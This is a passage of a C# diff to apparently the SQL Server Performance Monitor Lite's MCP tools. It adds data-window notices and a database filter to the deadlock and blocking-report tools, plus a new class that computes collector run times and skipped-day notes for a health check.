                        answer nobody should be given without being told. */
                     ?? await McpRuntimePrecondition.StatusAsync(dataService, resolved.ServerId, resolved.ServerName, "deadlocks")
-                    ?? McpHelpers.Status("empty", "No deadlocks found in the specified time range.");
+                    /* #4966: an empty answer over a window the store may not reach back to is not a true negative, so
+                       the window keys ride on it under hints. not_collected and the precondition stay bare. */
+                    ?? McpHelpers.Status("empty", "No deadlocks found in the specified time range.",
+                        (await McpQueryTools.EventWindowNoticeAsync(
+                            () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.Deadlocks, resolved.ServerId, windowEnd.AddHours(-hours_back), windowEnd),
+                            null, windowEnd.AddHours(-hours_back), windowEnd, "deadlocks", emptyAnswer: true)).AsHints());
             }
 
             var truncated = rows.Count > limit;
             var page = truncated ? rows.Take(limit).ToList() : rows;
 
+            /* #4966: where this server's deadlocks data starts for the window. An event list, so the floor is the
+               earlier of the coverage probe and the oldest event the page shows. */
+            var requestedStart = windowEnd.AddHours(-hours_back);
+            var notice = await McpQueryTools.EventWindowNoticeAsync(
+                () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.Deadlocks, resolved.ServerId, requestedStart, windowEnd),
+                page.Min(r => r.DeadlockTime), requestedStart, windowEnd, "deadlocks");
+
             var result = page.Select(r => new
             {
                 collection_time = r.CollectionTime.ToString("o"),
                 deadlock_time = r.DeadlockTime?.ToString("o"),
                 database_name = r.DatabaseName,
                 victim_process_id = r.VictimProcessId,
-                victim_sql_text = McpHelpers.Truncate(r.VictimSqlText, 2000),
+                victim_sql_text = McpHelpers.TruncateStatement(r.VictimSqlText, 2000),
                 process_summary = r.ProcessSummary,
                 has_deadlock_xml = r.HasDeadlockXml
             });
@@ -64,12 +77,19 @@ answer nobody should be given without being told. */
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where the store's data starts, always present (false and null when the store covered the
+                   window). The floor is the earlier of the coverage probe and the oldest event this page shows: a
+                   first run of the collector can store events from before itself. No effective_hours_back: this
+                   payload carries a page `truncated`, and the census holds that key apart for the window floor. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 /* #3541 A3: the page described as a page, on Darling's field names. The ORDER BY is
                    deadlock_time, so the bounds are on that stamp; Min/Max over DateTime? skip a null. */
                 deadlocks_returned = page.Count,
                 truncated,
-                oldest_returned_deadlock_time = page.Min(r => r.DeadlockTime)?.ToString("o"),
-                newest_returned_deadlock_time = page.Max(r => r.DeadlockTime)?.ToString("o"),
+                oldest_returned_deadlock_time = McpHelpers.FormatEffectiveStart(page.Min(r => r.DeadlockTime)),
+                newest_returned_deadlock_time = McpHelpers.FormatEffectiveStart(page.Max(r => r.DeadlockTime)),
                 order = "deadlock_time_desc",
                 separately_monitored_note = SeparatelyMonitoredScope.ListNote(resolved.ServerId),
                 deadlocks = result
@@ -121,28 +141,54 @@ older graphs sat behind the cap. */
             if (withXml.Count == 0)
             {
                 return await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "deadlocks")
-                    ?? McpHelpers.Status("empty", "No deadlock XML available in the specified time range.");
+                    ?? McpHelpers.Status("empty", "No deadlock XML available in the specified time range.",
+                        (await McpQueryTools.EventWindowNoticeAsync(
+                            () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.Deadlocks, resolved.ServerId, windowEnd.AddHours(-hours_back), windowEnd),
+                            null, windowEnd.AddHours(-hours_back), windowEnd, "deadlocks", emptyAnswer: true)).AsHints());
             }
 
-            var result = withXml.Select(r => new
+            /* #4966: where this server's deadlocks data starts for the window. An event list, so the floor is the
+               earlier of the coverage probe and the oldest event the page shows. */
+            var requestedStart = windowEnd.AddHours(-hours_back);
+            var notice = await McpQueryTools.EventWindowNoticeAsync(
+                () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.Deadlocks, resolved.ServerId, requestedStart, windowEnd),
+                withXml.Min(r => r.DeadlockTime), requestedStart, windowEnd, "deadlocks");
+
+            var result = withXml.Select(r =>
             {
-                collection_time = r.CollectionTime.ToString("o"),
-                deadlock_time = r.DeadlockTime?.ToString("o"),
-                victim_process_id = r.VictimProcessId,
-                deadlock_graph_xml = full_graph ? r.DeadlockGraphXml : McpHelpers.Truncate(r.DeadlockGraphXml, DeadlockGraphPreviewLength),
-                deadlock_graph_xml_truncated = !full_graph && r.DeadlockGraphXml.Length > DeadlockGraphPreviewLength
+                /* #4348: the graph is judged WHOLE before the preview cuts it. A cut graph is no longer well-formed XML and may end inside a
+                   statement's text, so the host's sweep over the preview could not name what the cut left half there. The judge is told
+                   the cut (DeadlockGraphPreviewLength) so a long graph stops being read once nothing before the cut can change, and
+                   the truncated flag is read off the FILTERED text: a graph withheld whole is a short placeholder (not truncated), and a
+                   graph the filter re-serialised past the cut is truncated, whatever the raw length was. */
+                string? filtered = full_graph ? r.DeadlockGraphXml : McpPlanTools.FilterStoredPlan(r.DeadlockGraphXml, DeadlockGraphPreviewLength);
+                return new
+                {
+                    collection_time = r.CollectionTime.ToString("o"),
+                    deadlock_time = r.DeadlockTime?.ToString("o"),
+                    victim_process_id = r.VictimProcessId,
+                    deadlock_graph_xml = full_graph ? filtered : McpHelpers.Truncate(filtered, DeadlockGraphPreviewLength),
+                    deadlock_graph_xml_truncated = !full_graph && filtered!.Length > DeadlockGraphPreviewLength
+                };
             });
 
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where the store's data starts, always present (false and null when the store covered the
+                   window). The floor is the earlier of the coverage probe and the oldest event this page shows: a
+                   first run of the collector can store events from before itself. No effective_hours_back: this
+                   payload carries a page `truncated`, and the census holds that key apart for the window floor. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 /* #3541 A3: the page bounds, on get_deadlocks' names. The page is graphs, so truncated means
                    "more deadlocks WITH a graph than limit". */
                 deadlocks_returned = withXml.Count,
                 truncated,
-                oldest_returned_deadlock_time = withXml.Min(r => r.DeadlockTime)?.ToString("o"),
-                newest_returned_deadlock_time = withXml.Max(r => r.DeadlockTime)?.ToString("o"),
+                oldest_returned_deadlock_time = McpHelpers.FormatEffectiveStart(withXml.Min(r => r.DeadlockTime)),
+                newest_returned_deadlock_time = McpHelpers.FormatEffectiveStart(withXml.Max(r => r.DeadlockTime)),
                 order = "deadlock_time_desc",
                 deadlocks = result
             }, McpHelpers.JsonOptions);
@@ -167,7 +213,8 @@ public static async Task<string> GetBlockedProcessReports(
         [Description("Hours of history. Default 24.")] int hours_back = 24,
         [Description("Maximum rows to return, newest first. Default 15. This is what bounds the page — read truncated to know whether the window held more.")] int limit = 15,
         [Description("Return each row's full blocked_sql_text/blocking_sql_text instead of a 150-character preview. Default false.")] bool full_text = false,
-        [Description(McpHelpers.AsOfDescription)] string? as_of = null)
+        [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
         if (error != null) return error;
@@ -180,6 +227,11 @@ public static async Task<string> GetBlockedProcessReports(
             var limitError = McpHelpers.ValidateTop(limit);
             if (limitError != null) return limitError;
 
+            /* #5244: database_name appended LAST (H1), as get_blocked_process_xml has it: the one name rides the reader's
+               database list into the SQL (both arms, the XE reports and the DMV fallback) before the limit + 1 fetch, so
+               limit counts the CHOSEN database's reports. A blank or whitespace name is "no filter". */
+            var database = string.IsNullOrWhiteSpace(database_name) ? null : database_name;
+
             /* The stamps below are THIS server's local wall clock in the store, so putting them in the
                naive-UTC frame every other field on this payload uses needs THIS server's clock, not the
                desktop tab's, and converts each stamp at its own instant so one from before a daylight
@@ -193,16 +245,26 @@ two together would fix one by breaking the other. */
             /* #3541 A3: the caller's limit + 1 as the fetch, the extra row as the OBSERVED truncation
                signal. The reader capped at 200 newest-first whatever `limit` said, so a 24-hour request on a
                server blocking steadily was answered from its newest few minutes with nothing saying so. */
-            var rows = await dataService.GetRecentBlockedProcessReportsAsync(resolved.ServerId, hours_back, asOfUtc: windowEnd, limit: limit + 1);
+            var rows = await dataService.GetRecentBlockedProcessReportsAsync(resolved.ServerId, hours_back, databaseNames: database == null ? null : new[] { database }, asOfUtc: windowEnd, limit: limit + 1);
             if (rows.Count == 0)
             {
                 return await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "blocked_process_report")
-                    ?? McpHelpers.Status("empty", "No blocked process reports found in the specified time range.");
+                    ?? McpHelpers.Status("empty", $"No blocked process reports found in the specified time range{ForChosenDatabase(database)}.",
+                        (await McpQueryTools.EventWindowNoticeAsync(
+                            () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.BlockedProcessReports, resolved.ServerId, windowEnd.AddHours(-hours_back), windowEnd),
+                            null, windowEnd.AddHours(-hours_back), windowEnd, "blocked_process_report", emptyAnswer: true)).AsHints());
             }
 
             var truncated = rows.Count > limit;
             var page = truncated ? rows.Take(limit).ToList() : rows;
 
+            /* #4966: where this server's blocked_process_report data starts for the window. An event list, so the floor is the
+               earlier of the coverage probe and the oldest event the page shows. */
+            var requestedStart = windowEnd.AddHours(-hours_back);
+            var notice = await McpQueryTools.EventWindowNoticeAsync(
+                () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.BlockedProcessReports, resolved.ServerId, requestedStart, windowEnd),
+                page.Min(r => r.EventTime), requestedStart, windowEnd, "blocked_process_report");
+
             var result = page.Select(r => new
             {
                 event_time = r.EventTime?.ToString("o"),
@@ -225,14 +287,14 @@ server blocking steadily was answered from its newest few minutes with nothing s
                 blocked_client_app = r.BlockedClientApp,
                 blocked_host_name = r.BlockedHostName,
                 blocked_login_name = r.BlockedLoginName,
-                blocked_sql_text = full_text ? r.BlockedSqlText : McpHelpers.Truncate(r.BlockedSqlText, SqlTextPreviewLength),
+                blocked_sql_text = full_text ? r.BlockedSqlText : McpHelpers.TruncateStatement(r.BlockedSqlText, SqlTextPreviewLength),
                 blocked_sql_text_truncated = !full_text && r.BlockedSqlText != null && r.BlockedSqlText.Length > SqlTextPreviewLength,
                 blocking_status = r.BlockingStatus,
                 blocking_isolation_level = r.BlockingIsolationLevel,
                 blocking_client_app = r.BlockingClientApp,
                 blocking_host_name = r.BlockingHostName,
                 blocking_login_name = r.BlockingLoginName,
-                blocking_sql_text = full_text ? r.BlockingSqlText : McpHelpers.Truncate(r.BlockingSqlText, SqlTextPreviewLength),
+                blocking_sql_text = full_text ? r.BlockingSqlText : McpHelpers.TruncateStatement(r.BlockingSqlText, SqlTextPreviewLength),
                 blocking_sql_text_truncated = !full_text && r.BlockingSqlText != null && r.BlockingSqlText.Length > SqlTextPreviewLength,
                 blocked_transaction_name = r.BlockedTransactionName,
                 blocking_transaction_name = r.BlockingTransactionName,
@@ -251,14 +313,23 @@ server blocking steadily was answered from its newest few minutes with nothing s
                 server = resolved.ServerName,
                 /* The span REQUESTED. Kept under its shipped name, and no longer the only span on the page. */
                 hours_back,
+                /* #4966: where the store's data starts, always present (false and null when the store covered the
+                   window). The floor is the earlier of the coverage probe and the oldest event this page shows: a
+                   first run of the collector can store events from before itself. No effective_hours_back: this
+                   payload carries a page `truncated`, and the census holds that key apart for the window floor. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
+                /* #5244: the database the page is limited to, null for all; after the three notice keys, as on Darling's twin. */
+                database_name = database,
                 /* #3541 A3: the page described as a page, on the names Darling's get_blocking uses. Newest-first
                    makes the page a contiguous slice of the window's tail, so oldest_returned_event_time IS the
                    reach of this read — the #3287 figure, and the field a caller has to read before believing
                    that a quiet page describes a quiet window. */
                 reports_returned = page.Count,
                 truncated,
-                oldest_returned_event_time = page.Min(r => r.EventTime)?.ToString("o"),
-                newest_returned_event_time = page.Max(r => r.EventTime)?.ToString("o"),
+                oldest_returned_event_time = McpHelpers.FormatEffectiveStart(page.Min(r => r.EventTime)),
+                newest_returned_event_time = McpHelpers.FormatEffectiveStart(page.Max(r => r.EventTime)),
                 order = "event_time_desc",
                 separately_monitored_note = SeparatelyMonitoredScope.ListNote(resolved.ServerId),
                 reports = result
@@ -277,7 +348,8 @@ public static async Task<string> GetBlockedProcessXml(
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24.")] int hours_back = 24,
         [Description("Maximum reports WITH XML to return, newest first. Default 5. Read truncated to know whether the window held more.")] int limit = 5,
-        [Description(McpHelpers.AsOfDescription)] string? as_of = null)
+        [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
         if (error != null) return error;
@@ -294,7 +366,12 @@ public static async Task<string> GetBlockedProcessXml(
                fetch is the caller's limit + 1. It used to Where() the merged 200-row page for XML in C#, so a
                caller asking for five reports had at most the newest 200 merged rows to find them in, DMV
                rows included, and nothing said so. */
-            var candidates = await dataService.GetRecentBlockedProcessReportsAsync(resolved.ServerId, hours_back, asOfUtc: windowEnd, limit: limit + 1, xmlOnly: true);
+            /* #5244: database_name appended LAST (H1). The reader already takes a database list (the Blocking tab's
+               filter), so the one name rides it into the SQL before the limit + 1 fetch: limit counts the CHOSEN
+               database's reports, not the server's. A blank is "no filter". */
+            var database = string.IsNullOrWhiteSpace(database_name) ? null : database_name;
+            var candidates = await dataService.GetRecentBlockedProcessReportsAsync(
+                resolved.ServerId, hours_back, databaseNames: database == null ? null : new[] { database }, asOfUtc: windowEnd, limit: limit + 1, xmlOnly: true);
             var truncated = candidates.Count > limit;
             var withXml = truncated ? candidates.Take(limit).ToList() : candidates;
             if (withXml.Count == 0)
@@ -303,9 +380,20 @@ public static async Task<string> GetBlockedProcessXml(
                     /* #2546: same order and same reason as get_deadlocks — a blocked-process capture the
                        collector cannot read is indistinguishable here from a server that never blocked. */
                     ?? await McpRuntimePrecondition.StatusAsync(dataService, resolved.ServerId, resolved.ServerName, "blocked_process_report")
-                    ?? McpHelpers.Status("empty", "No blocked process report XML available in the specified time range.");
+                    ?? McpHelpers.Status("empty", $"No blocked process report XML available in the specified time range{ForChosenDatabase(database)}.",
+                        (await McpQueryTools.EventWindowNoticeAsync(
+                            () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.BlockedProcessReports, resolved.ServerId, windowEnd.AddHours(-hours_back), windowEnd, includeAlsoCovered: false),
+                            null, windowEnd.AddHours(-hours_back), windowEnd, "blocked_process_report", emptyAnswer: true)).AsHints());
             }
 
+            /* #4966: the XML exists only in the XE arm, so the probe is the XE collector's alone (the DMV snapshots are not
+               a source of these rows). Where this server's blocked_process_report data starts for the window. An event list, so the floor is the
+               earlier of the coverage probe and the oldest event the page shows. */
+            var requestedStart = windowEnd.AddHours(-hours_back);
+            var notice = await McpQueryTools.EventWindowNoticeAsync(
+                () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.BlockedProcessReports, resolved.ServerId, requestedStart, windowEnd, includeAlsoCovered: false),
+                withXml.Min(r => r.EventTime), requestedStart, windowEnd, "blocked_process_report");
+
             var result = withXml.Select(r => new
             {
                 event_time = r.EventTime?.ToString("o"),
@@ -320,12 +408,21 @@ collector cannot read is indistinguishable here from a server that never blocked
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where the store's data starts, always present (false and null when the store covered the
+                   window). The floor is the earlier of the coverage probe and the oldest event this page shows: a
+                   first run of the collector can store events from before itself. No effective_hours_back: this
+                   payload carries a page `truncated`, and the census holds that key apart for the window floor. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
+                /* #5244: the database the page is limited to, null for all; after the three notice keys, as on Darling's twin. */
+                database_name = database,
                 /* #3541 A3: the page bounds, on get_blocked_process_reports' names. truncated means "more
                    reports WITH XML in the window than limit". */
                 reports_returned = withXml.Count,
                 truncated,
-                oldest_returned_event_time = withXml.Min(r => r.EventTime)?.ToString("o"),
-                newest_returned_event_time = withXml.Max(r => r.EventTime)?.ToString("o"),
+                oldest_returned_event_time = McpHelpers.FormatEffectiveStart(withXml.Min(r => r.EventTime)),
+                newest_returned_event_time = McpHelpers.FormatEffectiveStart(withXml.Max(r => r.EventTime)),
                 order = "event_time_desc",
                 reports = result
             }, McpHelpers.JsonOptions);
@@ -336,13 +433,14 @@ reports WITH XML in the window than limit". */
         }
     }
 
-    [McpServerTool(Name = "get_blocking_trend"), Description("Gets a time-series of blocking event counts over time. Useful for identifying patterns (e.g., blocking spikes during batch jobs) or confirming whether blocking is a new, worsening, or resolved issue.")]
+    [McpServerTool(Name = "get_blocking_trend"), Description("Gets a time-series of blocking event counts over time. Useful for identifying patterns (e.g., blocking spikes during batch jobs) or confirming whether blocking is a new, worsening, or resolved issue. The source key names the collector that answered, blocked-process-report or DMV snapshot; the DMV snapshot is used only when the blocked process reports have no rows for the chosen databases, so source can differ between filters.")]
     public static async Task<string> GetBlockingTrend(
         LocalDataService dataService,
         ServerManager serverManager,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24.")] int hours_back = 24,
-        [Description(McpHelpers.AsOfDescription)] string? as_of = null)
+        [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
         if (error != null) return error;
@@ -352,6 +450,12 @@ public static async Task<string> GetBlockingTrend(
             var hoursError = McpHelpers.ValidateWindow(hours_back, as_of, out var anchorEnd);
             if (hoursError != null) return hoursError;
 
+            /* #5244: database_name appended LAST (H1). GetBlockingTrendAsync already takes a database list on both
+               arms (the Blocking tab's filter), and the DMV-snapshot arm still fills in only where the FILTERED report
+               arm has no rows. The capture counts behind an empty answer stay the server's own: a collector looks at
+               every database. A blank is "no filter". */
+            var database = string.IsNullOrWhiteSpace(database_name) ? null : database_name;
+
             /* One instant for BOTH reads. Resolving now separately in the trend and the capture count
                lets a row arrive between them, and the two answers exist to be compared -- Darling's
                twin pins a single now for exactly this reason. That instant is the as_of anchor when one
@@ -362,7 +466,7 @@ public static async Task<string> GetBlockingTrend(
                that end once (hours_back gives the length), both reads take their window from it, and one
                value still means one instant. */
             var points = await dataService.GetBlockingTrendAsync(
-                resolved.ServerId, hours_back, asOfUtc: anchorEnd);
+                resolved.ServerId, hours_back, databaseNames: database == null ? null : new[] { database }, asOfUtc: anchorEnd);
 
             if (points.Count == 0)
             {
@@ -382,9 +486,10 @@ nothing. Darling's twin makes the same distinction with the same words.
 
                 var captures = await dataService.GetBlockingCaptureCountsAsync(
                     resolved.ServerId, hours_back, asOfUtc: anchorEnd);
-                return await EmptyTrend(
+                return WithNullSource(await EmptyTrend(
                     "blocking", resolved.ServerName, hours_back, captures,
-                    () => dataService.HasAnyBlockingCollectorRunAsync(resolved.ServerId));
+                    () => dataService.HasAnyBlockingCollectorRunAsync(resolved.ServerId),
+                    database));
             }
 
             var result = points.Select(p => new { time = p.Time.ToString("o"), count = p.Count });
@@ -393,6 +498,10 @@ nothing. Darling's twin makes the same distinction with the same words.
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #5244: the database the trend is limited to (null for all), and which collector answered: the blocked-process
+                   reports, or the DMV snapshot when those have no rows for the chosen databases. One source per answer. */
+                database_name = database,
+                source = points[0].Source,
                 trend = result
             }, McpHelpers.JsonOptions);
         }
@@ -524,6 +633,18 @@ makes the same distinction with the same words.
         }
     }
 
+    /// <summary>
+    /// #5244: the empty answers of get_blocking_trend carry <c>source: null</c> -- the same key a non-empty answer names its collector in,
+    /// and the value get_blocking_stats gives when its blocking series has no rows -- so a caller reads one shape for "which collector
+    /// answered" whether or not any collector did. Appended to the status envelope; the deadlock trend shares EmptyTrend and does not call this.
+    /// </summary>
+    private static string WithNullSource(string statusAnswer)
+    {
+        var node = JsonNode.Parse(statusAnswer)!.AsObject();
+        node["source"] = null;
+        return node.ToJsonString(McpHelpers.JsonOptions);
+    }
+
     /// <summary>
     /// The empty answer both trends give, and the whole point of #2485: <c>trend: []</c> is the same bytes
     /// on a server that had no blocking and on one that collected nothing, and an agent holding only the
@@ -546,7 +667,8 @@ private static async Task<string> EmptyTrend(
         string serverName,
         int hoursBack,
         List<CollectorCaptureCount> captures,
-        Func<Task<bool>> hasEverCapturedAsync)
+        Func<Task<bool>> hasEverCapturedAsync,
+        string? database = null)
     {
         var captureCount = captures.Sum(c => c.Runs);
         var hints = new
@@ -566,7 +688,7 @@ private static async Task<string> EmptyTrend(
         if (captureCount > 0)
             return McpHelpers.Status(
                 "empty",
-                $"No {subject} was recorded for {serverName} in the last {hoursBack} hour(s). {captureCount} collector run(s) DID execute over this window, so this is a genuine all-clear rather than missing data — see hints.captures for which collectors ran and when.",
+                $"No {subject} was recorded for {serverName}{ForChosenDatabase(database)} in the last {hoursBack} hour(s). {captureCount} collector run(s) DID execute over this window, so this is a genuine all-clear rather than missing data — see hints.captures for which collectors ran and when.",
                 hints);
 
         var everCaptured = await hasEverCapturedAsync();
@@ -577,4 +699,13 @@ private static async Task<string> EmptyTrend(
                 : $"No {subject} collector runs have EVER been recorded for {serverName}, so this is NOT an all-clear — there is nothing to read. Check that collection is running for this server before concluding it was quiet.",
             hints);
     }
+
+    /// <summary>
+    /// What a database selection adds to an empty answer's sentence (#5244): nothing for every database, " for the database X"
+    /// for one, built by <see cref="McpDatabaseSelection.ForChosen"/> so it says what Darling's
+    /// <c>DarlingMcpBlockingTools.ForChosenDatabases</c> says for one name and for two or more. An empty answer under a selection is
+    /// about the CHOSEN databases only and says nothing about the rest.
+    /// </summary>
+    internal static string ForChosenDatabase(string? database) =>
+        McpDatabaseSelection.ForChosen(database == null ? null : new[] { database });
 }
diff --git a/Lite/Mcp/McpCollectorRunTimes.cs b/Lite/Mcp/McpCollectorRunTimes.cs
new file mode 100644
index 0000000000..fb512061ab
--- /dev/null
+++ b/Lite/Mcp/McpCollectorRunTimes.cs
@@ -0,0 +1,162 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Globalization;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Services;
+
+namespace PerformanceMonitorLite.Mcp;
+
+/// <summary>
+/// #4938: what <c>get_collection_health</c> shows for a collector that has a run time. <see cref="RunAt"/> is the run
+/// time as 24-hour <c>HH:MM</c> on the monitored server's clock. <see cref="NextRunUtc"/> is when the collector is next
+/// due, UTC, or null when the collector is disabled (it has a run time, but nothing is scheduled).
+/// <see cref="SkippedDayNote"/> is set only when a day was skipped: the collector has not run for longer than its stale
+/// line allows, and its next slot is still ahead (see <see cref="McpCollectorRunTimes.SkippedDayNoteFor"/>). Darling's
+/// twin is the same record, so the two tools publish the same three fields.
+/// </summary>
+internal sealed record CollectorRunTimeReading(string RunAt, DateTime? NextRunUtc, string? SkippedDayNote = null)
+{
+    /// <summary>The next due time as the round-trip text every other stamp on the health payload uses, or null.</summary>
+    public string? NextRunUtcText => NextRunUtc?.ToString("o");
+}
+
+/// <summary>
+/// #4938: reads which collectors on one server have a run time and when each is next due, for the health tool. The
+/// schedule is the one the sweep reads (<see cref="ScheduleManager.GetRunTimeSettingsForStorageServer"/>), and the due
+/// time comes from <see cref="CollectorRunTime.NextDue"/>, the shared rule the sweep asks, so the answer here is the one
+/// the sweep acts on: the run time plus the server's fixed spread (under 60 minutes, by the server id), on the server's
+/// own clock, which is the newest server_properties row's (UTC while the store holds none).
+///
+/// <para><b>A run counts the way the start-up read counts it.</b> The last run is the health row's newest
+/// collection_log row of ANY status, so a failed attempt is the day's run here as it is in the sweep. A run older than
+/// the collector's floor, its interval plus a day (<see cref="ScheduleManager.LastRunFloor"/>), reads as never run, the
+/// same floor the sweep applies to each collector it seeds, so the two name the same next run. The health read covers
+/// seven days, which holds a floor for an interval up to six days; a run older than seven days is not seen here.</para>
+///
+/// <para><b>Nothing here is banded.</b> The health band is read from the shipped cadence and never sees any of this.</para>
+///
+/// <para>Registered in the host's services (<see cref="McpHostService.RegisterCollectorRunTimes"/>), so the tool takes it
+/// as a service parameter and the schedule reaches the tool without a static.</para>
+/// </summary>
+public sealed class McpCollectorRunTimes
+{
+    private static readonly IReadOnlyDictionary<string, CollectorRunTimeReading> s_none =
+        new Dictionary<string, CollectorRunTimeReading>(StringComparer.OrdinalIgnoreCase);
+
+    private readonly ScheduleManager? _schedules;
+    private readonly ServerManager _servers;
+
+    /// <param name="schedules">The collector schedules, or null when the host has none: no collector has a run time then.</param>
+    /// <param name="servers">The server list the storage id is looked up in.</param>
+    public McpCollectorRunTimes(ScheduleManager? schedules, ServerManager servers)
+    {
+        _schedules = schedules;
+        _servers = servers;
+    }
+
+    /// <summary>
+    /// The run time and next due time of every collector in <paramref name="rows"/> that has a run time on this server.
+    /// The server's clock is read only when a run time exists, so a server with none costs no store read.
+    /// </summary>
+    internal async Task<IReadOnlyDictionary<string, CollectorRunTimeReading>> ReadAsync(
+        LocalDataService dataService, int storageServerId, IReadOnlyCollection<CollectorHealthRow> rows, DateTime nowUtc)
+    {
+        if (_schedules is null)
+        {
+            return s_none;
+        }
+
+        var settings = _schedules.GetRunTimeSettingsForStorageServer(_servers, storageServerId, rows.Select(r => r.CollectorName));
+        if (settings.Count == 0)
+        {
+            return s_none;
+        }
+
+        var clock = await dataService.GetServerClockAsync(storageServerId);
+        return Compute(storageServerId, settings, rows, clock, nowUtc);
+    }
+
+    /// <summary>
+    /// Pure: the readings for the collectors in <paramref name="settings"/>. <paramref name="rows"/> are the health rows,
+    /// which carry each collector's last run and its shipped cadence (the note's inputs); a setting with no row has never
+    /// run in the window and carries no note. <paramref name="clock"/> is the server's clock, or null while the store
+    /// holds none, which reads the run time as UTC.
+    /// </summary>
+    internal static IReadOnlyDictionary<string, CollectorRunTimeReading> Compute(
+        int storageServerId,
+        IReadOnlyList<ScheduleManager.RunTimeSetting> settings,
+        IEnumerable<CollectorHealthRow> rows,
+        ServerClock? clock,
+        DateTime nowUtc)
+    {
+        Func<DateTime, DateTime> localToUtc = clock is null ? CollectorRunTime.LocalIsUtc : clock.ToUtc;
+        var byCollector = rows.ToDictionary(r => r.CollectorName, StringComparer.OrdinalIgnoreCase);
+        var result = new Dictionary<string, CollectorRunTimeReading>(StringComparer.OrdinalIgnoreCase);
+        foreach (var setting in settings)
+        {
+            DateTime? next = null;
+            string? note = null;
+            if (setting.Enabled)
+            {
+                byCollector.TryGetValue(setting.Collector, out var row);
+
+                /* The health row's stamp is naive UTC. A run older than the collector's floor (its interval plus a day) reads
+                   as never run, the floor the sweep's start-up read applies, so the tool names the sweep's next run. */
+                DateTime? last = ScheduleManager.LastRunWithinFloor(
+                    row?.LastRunTime is { } ran ? DateTime.SpecifyKind(ran, DateTimeKind.Utc) : null, nowUtc, setting.IntervalMinutes);
+                next = CollectorRunTime.NextDue(nowUtc, last, setting.RunAtMinute, setting.IntervalMinutes, storageServerId, localToUtc);
+                if (row is not null)
+                {
+                    note = SkippedDayNoteFor(row, setting.RunAtMinute, setting.IntervalMinutes, next.Value, nowUtc);
+                }
+            }
+
+            result[setting.Collector] = new CollectorRunTimeReading(CollectorRunTime.Format(setting.RunAtMinute), next, note);
+        }
+
+        return result;
+    }
+
+    /// <summary>
+    /// The note a row carries when a day was skipped (#4938). Lite collects only while it is open, and a run time skips a
+    /// day that could not start inside its 60-minute grace and never replays it, so the gap to the next slot can be longer
+    /// than the shipped cadence allows, and the collector crosses its stale line before that slot arrives. The band is
+    /// right to say so, because a day WAS missed; the note says why the band reads that way and when the next run is.
+    ///
+    /// <para>It needs all of: a last run (any status, as the sweep counts it) older than the stale line the band reads
+    /// from the shipped cadence; older than the longest gap between two on-time runs, one interval plus the grace and an
+    /// hour for a daylight-saving change, so a collector whose shipped cadence is shorter than its run-time interval does
+    /// not read as skipped on an ordinary day; and a next run that is still ahead. A collector that is due now will run
+    /// in a moment, so it has no note. The note is never a band input: <see cref="CollectorHealthRow.HealthStatus"/> does
+    /// not see it. Darling's twin applies the same rule and carries the same text up to the sentence about why.</para>
+    ///
+    /// <para>The note names the slot as <c>HH:MM</c> on the monitored server's clock, the form the row's <c>run_at</c> uses.</para>
+    /// </summary>
+    internal static string? SkippedDayNoteFor(
+        CollectorHealthRow row, int runAtMinute, int intervalMinutes, DateTime nextRunUtc, DateTime nowUtc)
+    {
+        if (row.LastRunTime is not DateTime lastRun || nextRunUtc <= nowUtc)
+        {
+            return null;
+        }
+
+        var hoursSinceLastRun = (nowUtc - DateTime.SpecifyKind(lastRun, DateTimeKind.Utc)).TotalHours;
+        var staleLineHours = CollectorHealthClassifier.StaleThresholdHours(row.FrequencyMinutes);
+        var longestOnTimeGapHours = (intervalMinutes + CollectorRunTime.GraceMinutes + 60) / 60.0;
+        if (hoursSinceLastRun <= staleLineHours || hoursSinceLastRun <= longestOnTimeGapHours)
+        {
+            return null;
+        }
+
+        return string.Create(CultureInfo.InvariantCulture,
+            $"Skipped day: no run for {hoursSinceLastRun:0.#} hours, past this collector's {staleLineHours:0.#}-hour stale line, and its next run is not due until {nextRunUtc:u}. Lite collects only while it is open: with a run time, a day is skipped, not replayed, when Lite could not start its {CollectorRunTime.Format(runAtMinute)} slot (the monitored server's clock) within {CollectorRunTime.GraceMinutes} minutes of it.");
+    }
+}
diff --git a/Lite/Mcp/McpConfigHistoryTools.cs b/Lite/Mcp/McpConfigHistoryTools.cs
